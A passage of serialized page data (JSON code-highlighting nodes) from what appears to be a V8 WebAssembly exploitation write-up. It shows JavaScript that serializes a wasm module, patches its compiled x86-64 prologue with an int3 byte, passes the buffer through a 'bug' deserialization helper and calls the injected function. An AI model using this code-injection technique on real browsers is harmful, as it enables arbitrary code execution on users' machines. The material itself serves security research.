']');\n",[135219],{"type":23,"tag":71,"props":135220,"children":135221},{"__ignoreMap":7},[135222,135252,135479,135547,135554,135599,135645,135685,135692,135716,135753,135789],{"type":23,"tag":230,"props":135223,"children":135224},{"class":232,"line":233},[135225,135229,135234,135238,135242,135247],{"type":23,"tag":230,"props":135226,"children":135227},{"style":256},[135228],{"type":29,"value":37334},{"type":23,"tag":230,"props":135230,"children":135231},{"style":262},[135232],{"type":29,"value":135233}," wasm_code",{"type":23,"tag":230,"props":135235,"children":135236},{"style":268},[135237],{"type":29,"value":271},{"type":23,"tag":230,"props":135239,"children":135240},{"style":256},[135241],{"type":29,"value":291},{"type":23,"tag":230,"props":135243,"children":135244},{"style":294},[135245],{"type":29,"value":135246}," Uint8Array",{"type":23,"tag":230,"props":135248,"children":135249},{"style":274},[135250],{"type":29,"value":135251},"([\n",{"type":23,"tag":230,"props":135253,"children":135254},{"class":232,"line":243},[135255,135260,135264,135269,135273,135278,135282,135287,135291,135295,135299,135303,135307,135311,135315,135319,135323,135327,135331,135335,135339,135343,135347,135352,135356,135360,135364,135368,135372,135376,135380,135384,135388,135392,135396,135400,135404,135408,135412,135416,135420,135424,135428,135432,135436,135440,135444,135449,135453,135458,135462,135467,135471,135475],{"type":23,"tag":230,"props":135256,"children":135257},{"style":5149},[135258],{"type":29,"value":135259},"  0",{"type":23,"tag":230,"props":135261,"children":135262},{"style":274},[135263],{"type":29,"value":684},{"type":23,"tag":230,"props":135265,"children":135266},{"style":5149},[135267],{"type":29,"value":135268},"97",{"type":23,"tag":230,"props":135270,"children":135271},{"style":274},[135272],{"type":29,"value":684},{"type":23,"tag":230,"props":135274,"children":135275},{"style":5149},[135276],{"type":29,"value":135277},"115",{"type":23,"tag":230,"props":135279,"children":135280},{"style":274},[135281],{"type":29,"value":684},{"type":23,"tag":230,"props":135283,"children":135284},{"style":5149},[135285],{"type":29,"value":135286},"109",{"type":23,"tag":230,"props":135288,"children":135289},{"style":274},[135290],{"type":29,"value":684},{"type":23,"tag":230,"props":135292,"children":135293},{"style":5149},[135294],{"type":29,"value":6348},{"type":23,"tag":230,"props":135296,"children":135297},{"style":274},[135298],{"type":29,"value":684},{"type":23,"tag":230,"props":135300,"children":135301},{"style":5149},[135302],{"type":29,"value":6358},{"type":23,"tag":230,"props":135304,"children":135305},{"style":274},[135306],{"type":29,"value":684},{"type":23,"tag":230,"props":135308,"children":135309},{"style":5149},[135310],{"type":29,"value":6358},{"type":23,"tag":230,"props":135312,"children":135313},{"style":274},[135314],{"type":29,"value":684},{"type":23,"tag":230,"props":135316,"children":135317},{"style":5149},[135318],{"type":29,"value":6358},{"type":23,"tag":230,"props":135320,"children":135321},{"style":274},[135322],{"type":29,"value":684},{"type":23,"tag":230,"props":135324,"children":135325},{"style":5149},[135326],{"type":29,"value":6348},{"type":23,"tag":230,"props":135328,"children":135329},{"style":274},[135330],{"type":29,"value":684},{"type":23,"tag":230,"props":135332,"children":135333},{"style":5149},[135334],{"type":29,"value":19849},{"type":23,"tag":230,"props":135336,"children":135337},{"style":274},[135338],{"type":29,"value":684},{"type":23,"tag":230,"props":135340,"children":135341},{"style":5149},[135342],{"type":29,"value":6348},{"type":23,"tag":230,"props":135344,"children":135345},{"style":274},[135346],{"type":29,"value":684},{"type":23,"tag":230,"props":135348,"children":135349},{"style":5149},[135350],{"type":29,"value":135351},"96",{"type":23,"tag":230,"props":135353,"children":135354},{"style":274},[135355],{"type":29,"value":684},{"type":23,"tag":230,"props":135357,"children":135358},{"style":5149},[135359],{"type":29,"value":6358},{"type":23,"tag":230,"props":135361,"children":135362},{"style":274},[135363],{"type":29,"value":684},{"type":23,"tag":230,"props":135365,"children":135366},{"style":5149},[135367],{"type":29,"value":6358},{"type":23,"tag":230,"props":135369,"children":135370},{"style":274},[135371],{"type":29,"value":684},{"type":23,"tag":230,"props":135373,"children":135374},{"style":5149},[135375],{"type":29,"value":19616},{"type":23,"tag":230,"props":135377,"children":135378},{"style":274},[135379],{"type":29,"value":684},{"type":23,"tag":230,"props":135381,"children":135382},{"style":5149},[135383],{"type":29,"value":5462},{"type":23,"tag":230,"props":135385,"children":135386},{"style":274},[135387],{"type":29,"value":684},{"type":23,"tag":230,"props":135389,"children":135390},{"style":5149},[135391],{"type":29,"value":6348},{"type":23,"tag":230,"props":135393,"children":135394},{"style":274},[135395],{"type":29,"value":684},{"type":23,"tag":230,"props":135397,"children":135398},{"style":5149},[135399],{"type":29,"value":6358},{"type":23,"tag":230,"props":135401,"children":135402},{"style":274},[135403],{"type":29,"value":684},{"type":23,"tag":230,"props":135405,"children":135406},{"style":5149},[135407],{"type":29,"value":56444},{"type":23,"tag":230,"props":135409,"children":135410},{"style":274},[135411],{"type":29,"value":684},{"type":23,"tag":230,"props":135413,"children":135414},{"style":5149},[135415],{"type":29,"value":57659},{"type":23,"tag":230,"props":135417,"children":135418},{"style":274},[135419],{"type":29,"value":684},{"type":23,"tag":230,"props":135421,"children":135422},{"style":5149},[135423],{"type":29,"value":6348},{"type":23,"tag":230,"props":135425,"children":135426},{"style":274},[135427],{"type":29,"value":684},{"type":23,"tag":230,"props":135429,"children":135430},{"style":5149},[135431],{"type":29,"value":20429},{"type":23,"tag":230,"props":135433,"children":135434},{"style":274},[135435],{"type":29,"value":684},{"type":23,"tag":230,"props":135437,"children":135438},{"style":5149},[135439],{"type":29,"value":135277},{"type":23,"tag":230,"props":135441,"children":135442},{"style":274},[135443],{"type":29,"value":684},{"type":23,"tag":230,"props":135445,"children":135446},{"style":5149},[135447],{"type":29,"value":135448},"104",{"type":23,"tag":230,"props":135450,"children":135451},{"style":274},[135452],{"type":29,"value":684},{"type":23,"tag":230,"props":135454,"children":135455},{"style":5149},[135456],{"type":29,"value":135457},"101",{"type":23,"tag":230,"props":135459,"children":135460},{"style":274},[135461],{"type":29,"value":684},{"type":23,"tag":230,"props":135463,"children":135464},{"style":5149},[135465],{"type":29,"value":135466},"108",{"type":23,"tag":230,"props":135468,"children":135469},{"style":274},[135470],{"type":29,"value":684},{"type":23,"tag":230,"props":135472,"children":135473},{"style":5149},[135474],{"type":29,"value":135466},{"type":23,"tag":230,"props":135476,"children":135477},{"style":274},[135478],{"type":29,"value":388},{"type":23,"tag":230,"props":135480,"children":135481},{"class":232,"line":252},[135482,135486,135490,135494,135498,135502,135506,135510,135514,135518,135522,135526,135530,135534,135538,135543],{"type":23,"tag":230,"props":135483,"children":135484},{"style":5149},[135485],{"type":29,"value":135259},{"type":23,"tag":230,"props":135487,"children":135488},{"style":274},[135489],{"type":29,"value":684},{"type":23,"tag":230,"props":135491,"children":135492},{"style":5149},[135493],{"type":29,"value":6358},{"type":23,"tag":230,"props":135495,"children":135496},{"style":274},[135497],{"type":29,"value":684},{"type":23,"tag":230,"props":135499,"children":135500},{"style":5149},[135501],{"type":29,"value":91032},{"type":23,"tag":230,"props":135503,"children":135504},{"style":274},[135505],{"type":29,"value":684},{"type":23,"tag":230,"props":135507,"children":135508},{"style":5149},[135509],{"type":29,"value":19849},{"type":23,"tag":230,"props":135511,"children":135512},{"style":274},[135513],{"type":29,"value":684},{"type":23,"tag":230,"props":135515,"children":135516},{"style":5149},[135517],{"type":29,"value":6348},{"type":23,"tag":230,"props":135519,"children":135520},{"style":274},[135521],{"type":29,"value":684},{"type":23,"tag":230,"props":135523,"children":135524},{"style":5149},[135525],{"type":29,"value":5462},{"type":23,"tag":230,"props":135527,"children":135528},{"style":274},[135529],{"type":29,"value":684},{"type":23,"tag":230,"props":135531,"children":135532},{"style":5149},[135533],{"type":29,"value":6358},{"type":23,"tag":230,"props":135535,"children":135536},{"style":274},[135537],{"type":29,"value":684},{"type":23,"tag":230,"props":135539,"children":135540},{"style":5149},[135541],{"type":29,"value":135542},"11",{"type":23,"tag":230,"props":135544,"children":135545},{"style":274},[135546],{"type":29,"value":388},{"type":23,"tag":230,"props":135548,"children":135549},{"class":232,"line":280},[135550],{"type":23,"tag":230,"props":135551,"children":135552},{"style":274},[135553],{"type":29,"value":6088},{"type":23,"tag":230,"props":135555,"children":135556},{"class":232,"line":334},[135557,135561,135565,135569,135573,135578,135582,135586,135590,135595],{"type":23,"tag":230,"props":135558,"children":135559},{"style":256},[135560],{"type":29,"value":37334},{"type":23,"tag":230,"props":135562,"children":135563},{"style":262},[135564],{"type":29,"value":73401},{"type":23,"tag":230,"props":135566,"children":135567},{"style":268},[135568],{"type":29,"value":271},{"type":23,"tag":230,"props":135570,"children":135571},{"style":256},[135572],{"type":29,"value":291},{"type":23,"tag":230,"props":135574,"children":135575},{"style":262},[135576],{"type":29,"value":135577}," WebAssembly",{"type":23,"tag":230,"props":135579,"children":135580},{"style":274},[135581],{"type":29,"value":312},{"type":23,"tag":230,"props":135583,"children":135584},{"style":294},[135585],{"type":29,"value":87698},{"type":23,"tag":230,"props":135587,"children":135588},{"style":274},[135589],{"type":29,"value":302},{"type":23,"tag":230,"props":135591,"children":135592},{"style":262},[135593],{"type":29,"value":135594},"wasm_code",{"type":23,"tag":230,"props":135596,"children":135597},{"style":274},[135598],{"type":29,"value":753},{"type":23,"tag":230,"props":135600,"children":135601},{"class":232,"line":371},[135602,135606,135611,135615,135619,135623,135627,135632,135636,135641],{"type":23,"tag":230,"props":135603,"children":135604},{"style":256},[135605],{"type":29,"value":37334},{"type":23,"tag":230,"props":135607,"children":135608},{"style":262},[135609],{"type":29,"value":135610}," inst",{"type":23,"tag":230,"props":135612,"children":135613},{"style":268},[135614],{"type":29,"value":271},{"type":23,"tag":230,"props":135616,"children":135617},{"style":256},[135618],{"type":29,"value":291},{"type":23,"tag":230,"props":135620,"children":135621},{"style":262},[135622],{"type":29,"value":135577},{"type":23,"tag":230,"props":135624,"children":135625},{"style":274},[135626],{"type":29,"value":312},{"type":23,"tag":230,"props":135628,"children":135629},{"style":294},[135630],{"type":29,"value":135631},"Instance",{"type":23,"tag":230,"props":135633,"children":135634},{"style":274},[135635],{"type":29,"value":302},{"type":23,"tag":230,"props":135637,"children":135638},{"style":262},[135639],{"type":29,"value":135640},"mod",{"type":23,"tag":230,"props":135642,"children":135643},{"style":274},[135644],{"type":29,"value":753},{"type":23,"tag":230,"props":135646,"children":135647},{"class":232,"line":391},[135648,135652,135656,135660,135664,135668,135672,135676,135681],{"type":23,"tag":230,"props":135649,"children":135650},{"style":256},[135651],{"type":29,"value":37334},{"type":23,"tag":230,"props":135653,"children":135654},{"style":262},[135655],{"type":29,"value":81788},{"type":23,"tag":230,"props":135657,"children":135658},{"style":268},[135659],{"type":29,"value":271},{"type":23,"tag":230,"props":135661,"children":135662},{"style":262},[135663],{"type":29,"value":135610},{"type":23,"tag":230,"props":135665,"children":135666},{"style":274},[135667],{"type":29,"value":312},{"type":23,"tag":230,"props":135669,"children":135670},{"style":262},[135671],{"type":29,"value":2570},{"type":23,"tag":230,"props":135673,"children":135674},{"style":274},[135675],{"type":29,"value":312},{"type":23,"tag":230,"props":135677,"children":135678},{"style":262},[135679],{"type":29,"value":135680},"shell",{"type":23,"tag":230,"props":135682,"children":135683},{"style":274},[135684],{"type":29,"value":511},{"type":23,"tag":230,"props":135686,"children":135687},{"class":232,"line":400},[135688],{"type":23,"tag":230,"props":135689,"children":135690},{"emptyLinePlaceholder":18},[135691],{"type":29,"value":459},{"type":23,"tag":230,"props":135693,"children":135694},{"class":232,"line":444},[135695,135699,135704,135708,135712],{"type":23,"tag":230,"props":135696,"children":135697},{"style":268},[135698],{"type":29,"value":58162},{"type":23,"tag":230,"props":135700,"children":135701},{"style":294},[135702],{"type":29,"value":135703},"WasmTierUpFunction",{"type":23,"tag":230,"props":135705,"children":135706},{"style":274},[135707],{"type":29,"value":302},{"type":23,"tag":230,"props":135709,"children":135710},{"style":262},[135711],{"type":29,"value":78079},{"type":23,"tag":230,"props":135713,"children":135714},{"style":274},[135715],{"type":29,"value":753},{"type":23,"tag":230,"props":135717,"children":135718},{"class":232,"line":453},[135719,135723,135728,135732,135737,135741,135745,135749],{"type":23,"tag":230,"props":135720,"children":135721},{"style":256},[135722],{"type":29,"value":37334},{"type":23,"tag":230,"props":135724,"children":135725},{"style":262},[135726],{"type":29,"value":135727}," serialized",{"type":23,"tag":230,"props":135729,"children":135730},{"style":268},[135731],{"type":29,"value":271},{"type":23,"tag":230,"props":135733,"children":135734},{"style":268},[135735],{"type":29,"value":135736}," %",{"type":23,"tag":230,"props":135738,"children":135739},{"style":294},[135740],{"type":29,"value":134735},{"type":23,"tag":230,"props":135742,"children":135743},{"style":274},[135744],{"type":29,"value":302},{"type":23,"tag":230,"props":135746,"children":135747},{"style":262},[135748],{"type":29,"value":135640},{"type":23,"tag":230,"props":135750,"children":135751},{"style":274},[135752],{"type":29,"value":753},{"type":23,"tag":230,"props":135754,"children":135755},{"class":232,"line":462},[135756,135760,135764,135768,135772,135776,135780,135785],{"type":23,"tag":230,"props":135757,"children":135758},{"style":256},[135759],{"type":29,"value":14118},{"type":23,"tag":230,"props":135761,"children":135762},{"style":262},[135763],{"type":29,"value":11492},{"type":23,"tag":230,"props":135765,"children":135766},{"style":268},[135767],{"type":29,"value":271},{"type":23,"tag":230,"props":135769,"children":135770},{"style":256},[135771],{"type":29,"value":291},{"type":23,"tag":230,"props":135773,"children":135774},{"style":294},[135775],{"type":29,"value":135246},{"type":23,"tag":230,"props":135777,"children":135778},{"style":274},[135779],{"type":29,"value":302},{"type":23,"tag":230,"props":135781,"children":135782},{"style":262},[135783],{"type":29,"value":135784},"serialized",{"type":23,"tag":230,"props":135786,"children":135787},{"style":274},[135788],{"type":29,"value":753},{"type":23,"tag":230,"props":135790,"children":135791},{"class":232,"line":471},[135792,135797,135801,135805,135809,135814,135818,135822,135826,135831,135835,135840,135844,135848,135853],{"type":23,"tag":230,"props":135793,"children":135794},{"style":262},[135795],{"type":29,"value":135796},"console",{"type":23,"tag":230,"props":135798,"children":135799},{"style":274},[135800],{"type":29,"value":312},{"type":23,"tag":230,"props":135802,"children":135803},{"style":294},[135804],{"type":29,"value":103732},{"type":23,"tag":230,"props":135806,"children":135807},{"style":274},[135808],{"type":29,"value":302},{"type":23,"tag":230,"props":135810,"children":135811},{"style":380},[135812],{"type":29,"value":135813},"'['",{"type":23,"tag":230,"props":135815,"children":135816},{"style":268},[135817],{"type":29,"value":11238},{"type":23,"tag":230,"props":135819,"children":135820},{"style":262},[135821],{"type":29,"value":11492},{"type":23,"tag":230,"props":135823,"children":135824},{"style":274},[135825],{"type":29,"value":312},{"type":23,"tag":230,"props":135827,"children":135828},{"style":294},[135829],{"type":29,"value":135830},"join",{"type":23,"tag":230,"props":135832,"children":135833},{"style":274},[135834],{"type":29,"value":302},{"type":23,"tag":230,"props":135836,"children":135837},{"style":380},[135838],{"type":29,"value":135839},"', '",{"type":23,"tag":230,"props":135841,"children":135842},{"style":274},[135843],{"type":29,"value":703},{"type":23,"tag":230,"props":135845,"children":135846},{"style":268},[135847],{"type":29,"value":6719},{"type":23,"tag":230,"props":135849,"children":135850},{"style":380},[135851],{"type":29,"value":135852}," ']'",{"type":23,"tag":230,"props":135854,"children":135855},{"style":274},[135856],{"type":29,"value":753},{"type":23,"tag":32,"props":135858,"children":135859},{},[135860],{"type":29,"value":135861},"This produces the following output:",{"type":23,"tag":220,"props":135863,"children":135865},{"code":135864},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135866],{"type":23,"tag":71,"props":135867,"children":135868},{"__ignoreMap":7},[135869],{"type":29,"value":135864},{"type":23,"tag":32,"props":135871,"children":135872},{},[135873,135875,135881,135883,135889,135891,135897,135898,135904,135906,135911],{"type":29,"value":135874},"The bytes ",{"type":23,"tag":71,"props":135876,"children":135878},{"className":135877},[],[135879],{"type":29,"value":135880},"85, 72, 137, 229, ...",{"type":29,"value":135882}," correspond to the x86-64 function prologue (",{"type":23,"tag":71,"props":135884,"children":135886},{"className":135885},[],[135887],{"type":29,"value":135888},"push rbp; mov rbp, rsp",{"type":29,"value":135890},"). We replace the first byte with ",{"type":23,"tag":71,"props":135892,"children":135894},{"className":135893},[],[135895],{"type":29,"value":135896},"0xcc",{"type":29,"value":18784},{"type":23,"tag":71,"props":135899,"children":135901},{"className":135900},[],[135902],{"type":29,"value":135903},"int3",{"type":29,"value":135905}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":71,"props":135907,"children":135909},{"className":135908},[],[135910],{"type":29,"value":134709},{"type":29,"value":218},{"type":23,"tag":220,"props":135913,"children":135915},{"code":135914,"language":224,"meta":7,"className":222,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[135916],{"type":23,"tag":71,"props":135917,"children":135918},{"__ignoreMap":7},[135919,135942,135969,136189,136256,136264,136291,136505,136757,137008,137234,137478,137698,137705,137754,137799,137843,137882,137894],{"type":23,"tag":230,"props":135920,"children":135921},{"class":232,"line":233},[135922,135926,135930,135934,135938],{"type":23,"tag":230,"props":135923,"children":135924},{"style":274},[135925],{"type":29,"value":302},{"type":23,"tag":230,"props":135927,"children":135928},{"style":256},[135929],{"type":29,"value":798},{"type":23,"tag":230,"props":135931,"children":135932},{"style":274},[135933],{"type":29,"value":4411},{"type":23,"tag":230,"props":135935,"children":135936},{"style":256},[135937],{"type":29,"value":2671},{"type":23,"tag":230,"props":135939,"children":135940},{"style":274},[135941],{"type":29,"value":277},{"type":23,"tag":230,"props":135943,"children":135944},{"class":232,"line":243},[135945,135949,135953,135957,135961,135965],{"type":23,"tag":230,"props":135946,"children":135947},{"style":256},[135948],{"type":29,"value":843},{"type":23,"tag":230,"props":135950,"children":135951},{"style":262},[135952],{"type":29,"value":135233},{"type":23,"tag":230,"props":135954,"children":135955},{"style":268},[135956],{"type":29,"value":271},{"type":23,"tag":230,"props":135958,"children":135959},{"style":256},[135960],{"type":29,"value":291},{"type":23,"tag":230,"props":135962,"children":135963},{"style":294},[135964],{"type":29,"value":135246},{"type":23,"tag":230,"props":135966,"children":135967},{"style":274},[135968],{"type":29,"value":135251},{"type":23,"tag":230,"props":135970,"children":135971},{"class":232,"line":252},[135972,135977,135981,135985,135989,135993,135997,136001,136005,136009,136013,136017,136021,136025,136029,136033,136037,136041,136045,136049,136053,136057,136061,136065,136069,136073,136077,136081,136085,136089,136093,136097,136101,136105,136109,136113,136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185],{"type":23,"tag":230,"props":135973,"children":135974},{"style":5149},[135975],{"type":29,"value":135976},"    0",{"type":23,"tag":230,"props":135978,"children":135979},{"style":274},[135980],{"type":29,"value":684},{"type":23,"tag":230,"props":135982,"children":135983},{"style":5149},[135984],{"type":29,"value":135268},{"type":23,"tag":230,"props":135986,"children":135987},{"style":274},[135988],{"type":29,"value":684},{"type":23,"tag":230,"props":135990,"children":135991},{"style":5149},[135992],{"type":29,"value":135277},{"type":23,"tag":230,"props":135994,"children":135995},{"style":274},[135996],{"type":29,"value":684},{"type":23,"tag":230,"props":135998,"children":135999},{"style":5149},[136000],{"type":29,"value":135286},{"type":23,"tag":230,"props":136002,"children":136003},{"style":274},[136004],{"type":29,"value":684},{"type":23,"tag":230,"props":136006,"children":136007},{"style":5149},[136008],{"type":29,"value":6348},{"type":23,"tag":230,"props":136010,"children":136011},{"style":274},[136012],{"type":29,"value":684},{"type":23,"tag":230,"props":136014,"children":136015},{"style":5149},[136016],{"type":29,"value":6358},{"type":23,"tag":230,"props":136018,"children":136019},{"style":274},[136020],{"type":29,"value":684},{"type":23,"tag":230,"props":136022,"children":136023},{"style":5149},[136024],{"type":29,"value":6358},{"type":23,"tag":230,"props":136026,"children":136027},{"style":274},[136028],{"type":29,"value":684},{"type":23,"tag":230,"props":136030,"children":136031},{"style":5149},[136032],{"type":29,"value":6358},{"type":23,"tag":230,"props":136034,"children":136035},{"style":274},[136036],{"type":29,"value":684},{"type":23,"tag":230,"props":136038,"children":136039},{"style":5149},[136040],{"type":29,"value":6348},{"type":23,"tag":230,"props":136042,"children":136043},{"style":274},[136044],{"type":29,"value":684},{"type":23,"tag":230,"props":136046,"children":136047},{"style":5149},[136048],{"type":29,"value":19849},{"type":23,"tag":230,"props":136050,"children":136051},{"style":274},[136052],{"type":29,"value":684},{"type":23,"tag":230,"props":136054,"children":136055},{"style":5149},[136056],{"type":29,"value":6348},{"type":23,"tag":230,"props":136058,"children":136059},{"style":274},[136060],{"type":29,"value":684},{"type":23,"tag":230,"props":136062,"children":136063},{"style":5149},[136064],{"type":29,"value":135351},{"type":23,"tag":230,"props":136066,"children":136067},{"style":274},[136068],{"type":29,"value":684},{"type":23,"tag":230,"props":136070,"children":136071},{"style":5149},[136072],{"type":29,"value":6358},{"type":23,"tag":230,"props":136074,"children":136075},{"style":274},[136076],{"type":29,"value":684},{"type":23,"tag":230,"props":136078,"children":136079},{"style":5149},[136080],{"type":29,"value":6358},{"type":23,"tag":230,"props":136082,"children":136083},{"style":274},[136084],{"type":29,"value":684},{"type":23,"tag":230,"props":136086,"children":136087},{"style":5149},[136088],{"type":29,"value":19616},{"type":23,"tag":230,"props":136090,"children":136091},{"style":274},[136092],{"type":29,"value":684},{"type":23,"tag":230,"props":136094,"children":136095},{"style":5149},[136096],{"type":29,"value":5462},{"type":23,"tag":230,"props":136098,"children":136099},{"style":274},[136100],{"type":29,"value":684},{"type":23,"tag":230,"props":136102,"children":136103},{"style":5149},[136104],{"type":29,"value":6348},{"type":23,"tag":230,"props":136106,"children":136107},{"style":274},[136108],{"type":29,"value":684},{"type":23,"tag":230,"props":136110,"children":136111},{"style":5149},[136112],{"type":29,"value":6358},{"type":23,"tag":230,"props":136114,"children":136115},{"style":274},[136116],{"type":29,"value":684},{"type":23,"tag":230,"props":136118,"children":136119},{"style":5149},[136120],{"type":29,"value":56444},{"type":23,"tag":230,"props":136122,"children":136123},{"style":274},[136124],{"type":29,"value":684},{"type":23,"tag":230,"props":136126,"children":136127},{"style":5149},[136128],{"type":29,"value":57659},{"type":23,"tag":230,"props":136130,"children":136131},{"style":274},[136132],{"type":29,"value":684},{"type":23,"tag":230,"props":136134,"children":136135},{"style":5149},[136136],{"type":29,"value":6348},{"type":23,"tag":230,"props":136138,"children":136139},{"style":274},[136140],{"type":29,"value":684},{"type":23,"tag":230,"props":136142,"children":136143},{"style":5149},[136144],{"type":29,"value":20429},{"type":23,"tag":230,"props":136146,"children":136147},{"style":274},[136148],{"type":29,"value":684},{"type":23,"tag":230,"props":136150,"children":136151},{"style":5149},[136152],{"type":29,"value":135277},{"type":23,"tag":230,"props":136154,"children":136155},{"style":274},[136156],{"type":29,"value":684},{"type":23,"tag":230,"props":136158,"children":136159},{"style":5149},[136160],{"type":29,"value":135448},{"type":23,"tag":230,"props":136162,"children":136163},{"style":274},[136164],{"type":29,"value":684},{"type":23,"tag":230,"props":136166,"children":136167},{"style":5149},[136168],{"type":29,"value":135457},{"type":23,"tag":230,"props":136170,"children":136171},{"style":274},[136172],{"type":29,"value":684},{"type":23,"tag":230,"props":136174,"children":136175},{"style":5149},[136176],{"type":29,"value":135466},{"type":23,"tag":230,"props":136178,"children":136179},{"style":274},[136180],{"type":29,"value":684},{"type":23,"tag":230,"props":136182,"children":136183},{"style":5149},[136184],{"type":29,"value":135466},{"type":23,"tag":230,"props":136186,"children":136187},{"style":274},[136188],{"type":29,"value":388},{"type":23,"tag":230,"props":136190,"children":136191},{"class":232,"line":280},[136192,136196,136200,136204,136208,136212,136216,136220,136224,136228,136232,136236,136240,136244,136248,136252],{"type":23,"tag":230,"props":136193,"children":136194},{"style":5149},[136195],{"type":29,"value":135976},{"type":23,"tag":230,"props":136197,"children":136198},{"style":274},[136199],{"type":29,"value":684},{"type":23,"tag":230,"props":136201,"children":136202},{"style":5149},[136203],{"type":29,"value":6358},{"type":23,"tag":230,"props":136205,"children":136206},{"style":274},[136207],{"type":29,"value":684},{"type":23,"tag":230,"props":136209,"children":136210},{"style":5149},[136211],{"type":29,"value":91032},{"type":23,"tag":230,"props":136213,"children":136214},{"style":274},[136215],{"type":29,"value":684},{"type":23,"tag":230,"props":136217,"children":136218},{"style":5149},[136219],{"type":29,"value":19849},{"type":23,"tag":230,"props":136221,"children":136222},{"style":274},[136223],{"type":29,"value":684},{"type":23,"tag":230,"props":136225,"children":136226},{"style":5149},[136227],{"type":29,"value":6348},{"type":23,"tag":230,"props":136229,"children":136230},{"style":274},[136231],{"type":29,"value":684},{"type":23,"tag":230,"props":136233,"children":136234},{"style":5149},[136235],{"type":29,"value":5462},{"type":23,"tag":230,"props":136237,"children":136238},{"style":274},[136239],{"type":29,"value":684},{"type":23,"tag":230,"props":136241,"children":136242},{"style":5149},[136243],{"type":29,"value":6358},{"type":23,"tag":230,"props":136245,"children":136246},{"style":274},[136247],{"type":29,"value":684},{"type":23,"tag":230,"props":136249,"children":136250},{"style":5149},[136251],{"type":29,"value":135542},{"type":23,"tag":230,"props":136253,"children":136254},{"style":274},[136255],{"type":29,"value":388},{"type":23,"tag":230,"props":136257,"children":136258},{"class":232,"line":334},[136259],{"type":23,"tag":230,"props":136260,"children":136261},{"style":274},[136262],{"type":29,"value":136263},"  ]);\n",{"type":23,"tag":230,"props":136265,"children":136266},{"class":232,"line":371},[136267,136271,136275,136279,136283,136287],{"type":23,"tag":230,"props":136268,"children":136269},{"style":256},[136270],{"type":29,"value":843},{"type":23,"tag":230,"props":136272,"children":136273},{"style":262},[136274],{"type":29,"value":127046},{"type":23,"tag":230,"props":136276,"children":136277},{"style":268},[136278],{"type":29,"value":271},{"type":23,"tag":230,"props":136280,"children":136281},{"style":256},[136282],{"type":29,"value":291},{"type":23,"tag":230,"props":136284,"children":136285},{"style":294},[136286],{"type":29,"value":135246},{"type":23,"tag":230,"props":136288,"children":136289},{"style":274},[136290],{"type":29,"value":135251},{"type":23,"tag":230,"props":136292,"children":136293},{"class":232,"line":391},[136294,136299,136303,136307,136311,136316,136320,136325,136329,136334,136338,136343,136347,136352,136356,136361,136365,136370,136374,136379,136383,136387,136391,136395,136399,136404,136408,136413,136417,136421,136425,136429,136433,136437,136441,136445,136449,136453,136457,136461,136465,136469,136473,136477,136481,136485,136489,136493,136497,136501],{"type":23,"tag":230,"props":136295,"children":136296},{"style":5149},[136297],{"type":29,"value":136298},"    147",{"type":23,"tag":230,"props":136300,"children":136301},{"style":274},[136302],{"type":29,"value":684},{"type":23,"tag":230,"props":136304,"children":136305},{"style":5149},[136306],{"type":29,"value":20739},{"type":23,"tag":230,"props":136308,"children":136309},{"style":274},[136310],{"type":29,"value":684},{"type":23,"tag":230,"props":136312,"children":136313},{"style":5149},[136314],{"type":29,"value":136315},"222",{"type":23,"tag":230,"props":136317,"children":136318},{"style":274},[136319],{"type":29,"value":684},{"type":23,"tag":230,"props":136321,"children":136322},{"style":5149},[136323],{"type":29,"value":136324},"192",{"type":23,"tag":230,"props":136326,"children":136327},{"style":274},[136328],{"type":29,"value":684},{"type":23,"tag":230,"props":136330,"children":136331},{"style":5149},[136332],{"type":29,"value":136333},"20",{"type":23,"tag":230,"props":136335,"children":136336},{"style":274},[136337],{"type":29,"value":684},{"type":23,"tag":230,"props":136339,"children":136340},{"style":5149},[136341],{"type":29,"value":136342},"119",{"type":23,"tag":230,"props":136344,"children":136345},{"style":274},[136346],{"type":29,"value":684},{"type":23,"tag":230,"props":136348,"children":136349},{"style":5149},[13